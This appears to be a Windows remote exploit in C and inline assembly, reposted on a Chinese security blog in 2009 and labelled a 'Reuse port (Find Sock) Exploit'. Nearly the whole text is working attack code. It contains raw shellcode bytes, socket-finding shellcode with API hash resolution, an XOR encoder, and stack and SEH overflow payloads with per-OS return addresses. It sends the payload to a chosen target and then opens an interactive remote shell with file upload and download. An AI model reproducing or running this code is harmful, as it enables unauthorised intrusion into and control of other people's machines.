"\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x0e\x59\xe8\x73\x03\x00"
"\x00\xe2\xf9\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\xff\x16"
"\x8b\xe8\x6a\x0d\x59\xe8\x5a\x03\x00\x00\xe2\xf9\x83\xc4\x08\x5b"
"\x89\x5e\x70\x6a\x01\x6a\x00\x6a\x0c\x8b\xdc\x68\xff\x00\x00\x00"
"\x53\x8d\x56\x74\x52\x83\xc2\x04\x52\xff\x56\x0c\x68\x5c\x30\x00"
"\x00\x68\x70\x69\x70\x65\x68\x5c\x5c\x2e\x5c\x8b\xfc\x33\xc0\x50"
"\x50\x50\x50\x68\xff\x00\x00\x00\x50\x68\x03\x00\x00\x40\x57\xff"
"\x56\x10\x89\x86\x80\x00\x00\x00\x33\xc0\x50\x50\x6a\x03\x53\x50"
"\x68\x00\x00\x00\x02\x57\xff\x56\x24\x89\x46\x7c\x68\x63\x6d\x64"
"\x00\x8d\x14\x24\x83\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0\x89\x04"
"\x8f\xe2\xfb\xc6\x47\x10\x44\xfe\x47\x3c\xfe\x47\x3d\xff\x76\x78"
"\x5b\x89\x5f\x48\xff\x76\x7c\x5b\x89\x5f\x4c\x89\x5f\x50\x8d\x47"
"\x10\x57\x50\x51\x51\x51\x6a\x01\x51\x51\x52\x51\xff\x56\x04\xff"
"\x37\x8f\x86\x84\x00\x00\x00\xff\x77\x04\x8f\x86\x88\x00\x00\x00"
"\xff\x76\x78\xff\x56\x14\xff\x76\x7c\xff\x56\x14\x83\xc4\x6c\x33"
"\xc0\x50\x6a\x01\x6a\x01\x50\xff\x56\x18\x89\x86\x8c\x00\x00\x00"
"\x33\xdb\x89\x9e\xa4\x00\x00\x00\x89\x86\xa8\x00\x00\x00\xff\x56"
"\x58\x89\x86\x90\x00\x00\x00\xc7\x86\x94\x00\x00\x00\x00\x00\x00"
"\x00\x6a\x21\xff\xb6\x90\x00\x00\x00\xff\x76\x70\xff\x56\x5c\x33"
"\xc0\x48\x50\x40\x50\x8d\x9e\x8c\x00\x00\x00\x53\x6a\x02\xff\x56"
"\x1c\x50\x8d\x9e\xf0\x00\x00\x00\x53\xff\xb6\x90\x00\x00\x00\xff"
"\x76\x70\xff\x56\x60\x6a\x00\xff\xb6\x90\x00\x00\x00\xff\x76\x70"
"\xff\x56\x5c\x6a\x00\x54\x68\x7e\x66\x04\x80\xff\x76\x70\xff\x56"
"\x64\x58\x59\xe3\x5c\x49\x0f\x85\xdb\x00\x00\x00\x6a\x00\x6a\x40"
"\x8d\x96\xf0\x00\x00\x00\x52\xff\x76\x70\xff\x56\x50\x8d\x96\xf0"
"\x00\x00\x00\x50\x59\xe8\xe2\x01\x00\x00\x81\xbe\xf0\x00\x00\x00"
"\x67\x65\x74\x20\x0f\x84\xe4\x00\x00\x00\x81\xbe\xf0\x00\x00\x00"
"\x70\x75\x74\x20\x0f\x84\x43\x01\x00\x00\x6a\x00\x8d\x9e\xac\x00"
"\x00\x00\x53\x50\x8d\x9e\xf0\x00\x00\x00\x53\xff\x76\x74\xff\x56"
"\x2c\x8b\x8e\x94\x00\x00\x00\xe3\x1d\x50\x8d\x9e\xac\x00\x00\x00"
"\x53\x8d\x9e\x98\x00\x00\x00\x53\xff\xb6\x80\x00\x00\x00\xff\x56"
"\x20\x91\xe3\x63\xeb\x2e\x8d\x9e\x98\x00\x00\x00\x53\x8d\x9e\xac"
"\x00\x00\x00\x53\x6a\x40\x8d\x9e\xb0\x00\x00\x00\x53\xff\xb6\x80"
"\x00\x00\x00\xff\x56\x28\xff\x86\x94\x00\x00\x00\x85\xc0\x0f\x84"
"\xfd\xfe\xff\xff\x8d\x96\xb0\x00\x00\x00\xff\xb6\xac\x00\x00\x00"
"\x59\xe8\x46\x01\x00\x00\xff\x8e\x94\x00\x00\x00\x6a\x00\x8b\x9e"
"\xac\x00\x00\x00\x53\x8d\x9e\xb0\x00\x00\x00\x53\xff\x76\x70\xff"
"\x56\x54\xe9\xca\xfe\xff\xff\xff\xb6\x84\x00\x00\x00\xff\x56\x08"
"\xff\xb6\x84\x00\x00\x00\xff\xb6\x88\x00\x00\x00\xff\xb6\x80\x00"
"\x00\x00\xff\x76\x74\xff\x56\x14\xff\x56\x14\xff\x56\x14\xff\x56"
"\x14\xff\x76\x70\xff\x56\x68\x33\xc0\x48\x50\xff\x56\x08\xc6\x84"
"\x06\xef\x00\x00\x00\x00\x8d\x96\xf4\x00\x00\x00\x33\xc0\x50\x50"
"\x6a\x03\x50\x50\x68\x00\x00\x00\x02\x52\xff\x56\x24\x89\x46\x7c"
"\x6a\x00\x8d\x96\xac\x00\x00\x00\x52\x6a\x40\x8d\x96\xb0\x00\x00"
"\x00\x52\xff\x76\x7c\xff\x56\x28\x8b\x8e\xac\x00\x00\x00\xe3\x22"
"\x8d\x96\xb0\x00\x00\x00\xe8\xa1\x00\x00\x00\x6a\x00\xff\xb6\xac"
"\x00\x00\x00\x8d\x96\xb0\x00\x00\x00\x52\xff\x76\x70\xff\x56\x54"
"\xeb\xbe\xff\x76\x7c\xff\x56\x14\xe9\x24\xfe\xff\xff\xc6\x84\x06"
"\xef\x00\x00\x00\x00\x8d\x96\xf4\x00\x00\x00\x33\xc0\x50\x50\x6a"
"\x02\x50\x50\x68\x00\x00\x00\x02\x52\xff\x56\x24\x89\x46\x7c\x6a"
"\x00\x6a\x40\x8d\x96\xb0\x00\x00\x00\x52\xff\x76\x70\xff\x56\x50"
"\x8d\x96\xb0\x00\x00\x00\x50\x59\xe8\x3f\x00\x00\x00\x6a\x00\x8d"
"\x96\xac\x00\x00\x00\x52\x50\x8d\x96\xb0\x00\x00\x00\x52\xff\x76"
"\x7c\xff\x56\x2c\x6a\x00\x54\x68\x7f\x66\x04\x40\xff\x76\x70\xff"
"\x56\x64\x59\xe3\x02\xeb\xb8\xff\x76\x7c\xff\x56\x14\xc6\x86\xf0"
"\x00\x00\x00\x0a\x6a\x01\x58\xe9\x3e\xfe\xff\xff\x4a\x80\x34\x0a"
"\x33\xe2\xfa\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
"\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
"\x10\x3a\xd6\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
"\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
"\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x28\xfc\xff\xff\x32\x74"
"\x91\x0c\xc9\xbc\xa6\x6b\x8f\xf2\x18\x61\x4a\x79\x19\x7a\xa8\x4b"
"\x60\x9e\x57\x66\x0d\xff\x76\x91\x4d\x6d\x88\x58\xb3\xac\x8a\x87"
"\x66\x62\x93\x32\xe4\x94\xb2\x36\x0f\x13\xc4\x8d\x1f\x74\xd3\x88"
"\x28\x49\xa0\x65\x97\xcb\x3d\x6a\xb4\x80\x2d\x32\x78\xde\x98\xc4"
"\xb9\xde\x64\x10\xa7\xdd\x0c\x9f\xd3\x4b\xb1\x1e\x97\x01\x76\x90"
"\x97\xc7\x64\x98\x97\xdd\x96\xd5\xd5\xa8\x9c\x07\xdc\x5a\xd8\x10"
"\x27\xa7\x52\x83\xe9\xea\x4c\x0f\x29\xd1";
//char Payload[1600] = ""; //server_big.exe
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
unsigned char sh_Buff[2048]; // recv real shellcode
unsigned int sh_Len;
unsigned int Enc_key=0x99; //其实无关紧要,动态寻找
#define Xor_key 0x33 //加密传输
unsigned char decode1[] =
/*
00401004 . /EB 0E JMP SHORT encode.00401014
00401006 $ |5B POP EBX
00401007 . |4B DEC EBX
00401008 . |33C9 XOR ECX,ECX
0040100A . |B1 FF MOV CL,0FF
0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
00401010 .^|E2 FA LOOPD SHORT encode.0040100C
00401012 . |EB 05 JMP SHORT encode.00401019
00401014 > \E8 EDFFFFFF CALL encode.00401006
*/
"\xEB\x0E\x5B\x4B\x33\xC9\xB1"
"\xFF" // shellcode size
"\x80\x34\x0B"
"\x99" // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF";
unsigned
char decode2[] =
/* ripped from eyas
00406030 /EB 10 JMP SHORT 00406042
00406032 |5B POP EBX
00406033 |4B DEC EBX
00406034 |33C9 XOR ECX,ECX
00406036 |66:B9 6601 MOV CX,166
0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
0040603E ^|E2 FA LOOPD SHORT 0040603A
00406040 |EB 05 JMP SHORT 00406047
00406042 \E8 EBFFFFFF CALL 00406032
*/
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"
"\x66\x01" // shellcode size
"\x80\x34\x0B"
"\x99" // xor byte
"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF";
// kernel32.dll functions index
#define _LoadLibraryA 0x00
#define _WaitForSingleObjectEx 0x04
#define _Sleep 0x08
// ws2_32.dll functions index
#define _recv 0x0c
#define _ioctlsocket 0x10
// functions number
#define _Knums 3
#define _Wnums 2
// Need functions
unsigned char functions[100][128] =
{
// kernel32
{"LoadLibraryA"},
{"WaitForSingleObjectEx"},
{"Sleep"},
// ws2_32
{"recv"},
{"ioctlsocket"},
{""},
};
void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode();
// Get function hash
unsigned long hash(unsigned char *c)
{
unsigned long h=0;
while(*c)
{
h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
}
return h;
}
// get shellcode
void GetShellCode()
{
char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char *pSc_addr;
unsigned char pSc_Buff[1024];
unsigned int MAX_Sc_Len=0x2000;
unsigned long dwHash[100];
unsigned int dwHashSize;
unsigned int l,i,j,k;
// Get functions hash
for (i=0;;i++) {
if (functions[i][0] == '\x0') break;
dwHash[i] = hash(functions[i]);
//fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_Sc_Len;++k ) {
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
break;
}
}
pSc_addr+=(k+8); // start of the ShellCode
for (k=0;k<MAX_Sc_Len;++k) {
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
break;
}
}
sh_Len=k; // length of the ShellCode
memcpy(pSc_Buff, pSc_addr, sh_Len);
// Add functions hash
memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
sh_Len += dwHashSize;
printf("%d bytes shellcode\n", sh_Len);
// print shellcode
PrintSc(pSc_Buff, sh_Len);
// find xor byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=0; j<sh_Len; j++)
{
if (
// ((pSc_Buff[j] ^ i) == 0x26) || //%
// ((pSc_Buff[j] ^ i) == 0x3d) || //=
// ((pSc_Buff[j] ^ i) == 0x3f) || //?
((pSc_Buff[j] ^ i) == 0x40) || //@
((pSc_Buff[j] ^ i) == 0x00) ||
((pSc_Buff[j] ^ i) == 0x0D) ||
((pSc_Buff[j] ^ i) == 0x3c) || // <
((pSc_Buff[j] ^ i) == 0x3e) || // >
((pSc_Buff[j] ^ i) == 0x2a) || // *
((pSc_Buff[j] ^ i) == 0x3a) || // :
((pSc_Buff[j] ^ i) == 0x20) || // 空格
((pSc_Buff[j] ^ i) == 0x22) || // "
((pSc_Buff[j] ^ i) == 0x0A) ||
((pSc_Buff[j] ^ i) == 0x2F) || // /
((pSc_Buff[j] ^ i) == 0x5C) // "\"
)
{
l++;
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("Find XOR Byte: 0x%02X\n", i);
for(j=0; j<sh_Len; j++)
{
pSc_Buff[j] ^= Enc_key;
}
break; // break when found xor byte
}
}
// No xor byte found
if (l!=0){
//fprintf(stderr, "No xor byte found!\n");
sh_Len = 0;
}
else {
//fprintf(stderr, "Xor byte 0x%02X\n", Enc_key);
// encode
if (sh_Len > 0xFF) {
*(unsigned short *)&decode2[8] = sh_Len;
*(unsigned char *)&decode2[13] = Enc_key;
memcpy(sh_Buff, decode2, sizeof(decode2)-1);
memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode2)-1;
}
else {
*(unsigned char *)&decode1[7] = sh_Len;
*(unsigned char *)&decode1[11] = Enc_key;
memcpy(sh_Buff, decode1, sizeof(decode1)-1);
memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode1)-1;
}
}
}
// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
fprintf(stderr, "/* %d bytes */\n",buffsize);
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
fprintf(stderr, "\"\n\"");
else
fprintf(stderr, "\"");
sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
fprintf(stderr, "%c", _tolower(*p));
else
fprintf(stderr, "%c", p[0]);
}
}
fprintf(stderr, "\";\n");
}
// recv real shellcode function
void ShellCode()
{
__asm{
PROC_BEGIN //C macro to begin proc
jmp locate_addr
func_start:
pop edi ; get eip
mov eax, fs:30h
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8] ; base address of kernel32.dll
mov esi, edi
push _Knums
pop ecx
GetKFuncAddr: ; find functions from kernel32.dll
call find_hashfunc_addr
loop GetKFuncAddr
push 3233h
push 5F327377h ; ws2_32
push esp
call dword ptr [esi+_LoadLibraryA]
mov ebp, eax ; base address of ws2_32.dll
push _Wnums
pop ecx
GetWFuncAddr: ; find functions from ws2_32.dll
call find_hashfunc_addr
loop GetWFuncAddr
//find_s:
xor ebx, ebx
push 1000 ; sleep to wait for character send
call dword ptr [esi+_Sleep] ; maybe it is necessary in real internet
sub esp, 2000 ;在栈里分配空间,这里是2000 放在loop前比较稳定
mov edi, esp ; 把edi指过来
find_s_loop:
inc ebx ; socket
push 1
push 10
push ebx
call dword ptr [esi+_WaitForSingleObjectEx]
test eax, eax ; ensure ebx is socket
jnz find_s_loop
push 0
push esp ; 指向命令参数的指针,这里最好找个为内容空的地址。
push 4004667Fh ; FIONREAD
push ebx ;socket
call dword ptr [esi+_ioctlsocket]
pop ecx ; ensure this socket have 4 bit to read
cmp ecx, Magic_Len
jne find_s_loop
push 0
push Magic_Len ;shellcode recv的长度
push edi ;shellcode 要写入的地址,这里在栈里
push ebx
call dword ptr [esi+_recv]
mov esp, edi
pop eax
cmp eax, 73697861h ; recieve "axis"?
jnz find_s_loop
jmp esp ;直接jmp esp去执行我们的shellcode,因为前面的axis四字节,这里shellcode起址正好是esp
// int 3 //0xcc 调试shellcode用
find_hashfunc_addr:
push ecx
push esi
mov esi, [ebp+3Ch] ; e_lfanew
mov esi, [esi+ebp+78h] ; ExportDirectory RVA
add esi, ebp ; rva2va
push esi
mov esi, [esi+20h] ; AddressOfNames RVA
add esi, ebp ; rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, 7 ; hash
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] ; compare to hash
jnz short find_start
pop esi ; ExportDirectory
mov ebx, [esi+24h] ; AddressOfNameOrdinals RVA
add ebx, ebp ; rva2va
mov cx, [ebx+ecx*2] ; FunctionOrdinal
mov ebx, [esi+1Ch] ; AddressOfFunctions RVA
add ebx, ebp ; rva2va
mov eax, [ebx+ecx*4] ; FunctionAddress RVA
add eax, ebp ; rva2va
stosd ; function address save to [edi]
pop esi
pop ecx
retn
locate_addr:
call func_start
PROC_END //C macro to end proc
}
}
void Make_Payload(int q)
{
// server.exe
memset(Payload, 0x90, sizeof(Payload)-1);
memcpy(Payload + 52, &os[q].ret, 4);
strcpy(Payload + 56, (const char *)sh_Buff);
memcpy(Payload + 56 + strlen((const char *)sh_Buff), "\x90", 1); //为了填充strcpy shellcode后所造成的\x00
/*
//server_big.exe jmp esp
memset(Payload, 0x90, sizeof(Payload)-1);
memcpy(Payload + 1204, &os[q].ret, 4);
strcpy(Payload + 1208, (const char *)sh_Buff);
memcpy(Payload + 1208 + strlen((const char *)sh_Buff), "\x90", 1);
*/
/*
// server_big.exe overwrite esp+8 (seh)
// server_big.exe 覆盖 SEH
memset(Payload, 0x90, sizeof(Payload)-1);
memcpy(Payload + 1204, POP_POP_RET, 4); //覆盖 eip pop/pop/ret
memcpy(Payload + 1208, &os[q].ret, 4); // 覆盖 esp
memcpy(Payload + 1212, &os[q].ret, 4); // 覆盖 esp+4
memcpy(Payload + 1216, &os[q].ret, 4); // 覆盖 SEH jmp esp
// memcpy(Payload + 1220, "\x00", 1);
strcpy(Payload + 1220, (const char *)sh_Buff);
memcpy(Payload + 1220 + strlen((const char *)sh_Buff), "\x90", 1);
*/
PrintSc((unsigned char *)Payload, sizeof(Payload));
}
// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
void xor_buf(unsigned char *buf, int size)
{
int i;
for (i=0; i<size; i++) {
buf[i] ^= Xor_key;
}
return;
}
/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
int l,i,size=0,get_size=0;
char buf[1024];
char filename[128];
HANDLE hFile;
fd_set FdRead;
struct timeval time;
unsigned long ul[2];
time.tv_sec = 1;
time.tv_usec = 0;
while (1)
{
ul[0] = 1;
ul[1] = sock;
l = select (0, (fd_set *)&ul, NULL, NULL, &time);
if(l==1)
{
l = recv (sock, buf, sizeof (buf), 0);
if (l <= 0)
{
printf ("[-] Connection closed.\n");
return;
}
xor_buf((unsigned char *)buf, l);
l = write (1, buf, l);
if (l <= 0)
{
printf ("[-] Connection closed.\n");
return;
}
}
else
{
l = read (0, buf, sizeof (buf));
if (l <= 0)
{
printf("[-] Connection closed.\n");
return;
}
xor_buf((unsigned char *)buf, l);
l = send(sock, buf, l, 0);
if (l <= 0)
{
printf("[-] Connection closed.\n");
return;
}
xor_buf((unsigned char *)buf, l);
//+--------------------------------------------
// get xxx download xxx
// put xxx upload xxx
//+--------------------------------------------
if (strncmp(buf, "get", 3) == 0)
{
// obtain filename
buf[l-1] = 0;
for (i=l;i>0;i--) {
if (buf[i] == '\\' || buf[i] == ' ') {
break;
}
}
strncpy(filename, buf+i+1, l-i-1);
hFile = CreateFile(
filename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,
(HANDLE)NULL
);
if ( hFile == INVALID_HANDLE_VALUE ) {
printf("Create File %s Error!\n", filename);
continue;
}
size = 0;
FD_ZERO(&FdRead);
FD_SET(sock, &FdRead);
for (;;) {
l = recv(sock, buf, sizeof(buf), 0);
xor_buf((unsigned char *)buf, l);
WriteFile(hFile, buf, l, (unsigned long *)&i, NULL);
size += i;
l = select (0, &FdRead, NULL, NULL, &time);
if (l != 1) {
memset(buf, 0x0a, 1);
xor_buf((unsigned char *)buf, 1);
l = send(sock, buf, 1, 0);
break;
}
}
printf("Download remote file %s (%d bytes)!\n", filename, size);
CloseHandle(hFile);
}
else if (strncmp(buf, "put", 3) == 0)
{
Sleep(1000);
// obtain filename
buf[l-1] = 0;
for (i=l;i>0;i--) {
if (buf[i] == '\\' || buf[i] == ' ') {
break;
}
}
strncpy(filename, buf+i+1, l-i-1);
// open file
hFile = CreateFile(
filename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,
(HANDLE)NULL
);
if ( hFile == INVALID_HANDLE_VALUE ) {
printf("Open File %s Error!\n", filename);
continue;
}
size = 0;
// read file and send
for (;;)
{
ReadFile(hFile, buf, 1024, (unsigned long *)&i, NULL);
if (i == 0)
{
break;
}
xor_buf((unsigned char *)buf, i);
l = send(sock, buf, i, 0);
size += l;
}
printf("Upload remote file %s (%d bytes)...", filename, size);
l = recv (sock, buf, sizeof (buf), 0);
xor_buf((unsigned char *)buf, l);
l = write (1, buf, l);
CloseHandle(hFile);
}
}
}
}
void Disconnect(SOCKET s)
{
closesocket(s);
WSACleanup();
}
void help(char *n)
{
printf("+--------------------------------------------------------+\n");
printf(" Reuse port (Find Sock) Exploit by axis@ph4nt0m\n");
printf(" Ver 1.0 Please Keep it Private!\n");
printf("+--------------------------------------------------------+\n");
printf(" Usage:\n");
printf(" %s [Target IP] [Target Port] [OSType]\n\n", n);
printf(" == OSType:\n");
printf(" 0. Windows CN ALL SP1 POP/POP/RET \n");
printf(" 1. Windows2000 SP3/SP4 ALL POP/POP/RET\n");
printf(" 2. Windows CN ALL JMP ESP from ansi page\n");
printf(" 3. Windows2003 CN SP1 CALL EAX\n");
printf(" 4. WindowsXP CN SP2 JMP EAX\n");
printf(" 5. TEST RET\n");
}
int main(int argc, char *argv[])
{
unsigned short port = 25;
SOCKET s;
WSADATA WSAData;
if(argc != 4)
{
help(argv[0]);
return 0;
}
if(argc == 4) port = atoi(argv[2]);
GetShellCode();
if (!sh_Len)
{
printf("[-] Shellcode generate error.\n");
exit(1);
}
printf("shellcode length is: %d \n",strlen((char *)sh_Buff));
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
fprintf(stderr, "[-] WSAStartup failed.\n");
WSACleanup();
exit(1);
}
s = Make_Connection(argv[1], port, 10);
if(s<0)
{
fprintf(stderr, "[-] connect err.\n");
exit(1);
}
//OS type
int p = 0;
if(argc > 3)
p = atoi(argv[3]);
Make_Payload(p);
//Send our evil Payload
printf("[+]Sending our Evil Payload.\n");
send(s, Payload, sizeof(Payload), 0);
Sleep(100);
// send real shellcode
send(s, magic_shellcode, Magic_Len, 0);
Sleep(1000);
// use same socket to get shell
shell(s);
WSACleanup();
return 1;
}
发表评论 | 分类:工具收集
© 鬼仔 for 鬼仔's Blog, 2009. | 本文网址:http://huaidan.org/archives/2875.html
相关日志
您可以直接回复此邮件与作者联系,该服务由Feedsky提供技术支持,祝您使用愉快
没有评论:
发表评论